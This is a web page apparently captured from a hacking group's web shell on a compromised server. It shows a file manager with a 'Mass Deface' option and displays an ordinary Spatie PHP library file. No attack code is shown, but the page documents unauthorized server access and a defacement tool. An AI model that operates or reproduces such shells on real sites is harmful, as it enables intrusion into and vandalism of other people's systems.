Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
spatie
/
php-structure-discoverer
/
src
/
Support
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Conditions
--
ren
DiscoverCacheDriverFact
...
0.496KB
edt
ren
LaravelDetector.php
0.31KB
edt
ren
StructureChainResolver.php
3.694KB
edt
ren
StructureScoutManager.php
2.005KB
edt
ren
StructuresResolver.php
2.177KB
edt
ren
UseDefinitionsResolver.php
1.168KB
edt
ren
<?php namespace Spatie\StructureDiscoverer\Support; use Closure; use Spatie\StructureDiscoverer\Discover; use Spatie\StructureDiscoverer\StructureScout; class StructureScoutManager { /** @var string[] */ protected static array $extra = []; /** * @param string[] $directories * * @return array<string> */ public static function cache(array $directories): array { return self::forEachScout($directories, function (StructureScout $discoverer) { $discoverer->cacheDriver()->forget($discoverer->identifier()); $discoverer->cache(); }); } /** * @param string[] $directories * * @return array<string> */ public static function clear(array $directories): array { return self::forEachScout($directories, function (StructureScout $discoverer) { $discoverer->cacheDriver()->forget($discoverer->identifier()); }); } public static function add(string $scout): void { if (in_array($scout, static::$extra)) { return; } static::$extra[] = $scout; } /** * @param array<string> $directories * @param Closure(StructureScout): void $closure * * @return array<string> */ private static function forEachScout( array $directories, Closure $closure ): array { /** @var string[] $discoveredScouts */ $discoveredScouts = Discover::in(...$directories) ->classes() ->extending(StructureScout::class) ->get(); $scouts = array_unique([ ...$discoveredScouts, ...static::$extra, ]); $touched = []; foreach ($scouts as $scout) { /** @var StructureScout $scout */ $scout = LaravelDetector::isRunningLaravel() ? app($scout) : new $scout(); $closure($scout); $touched[] = $scout->identifier(); } return $touched; } }
<=Back
Liking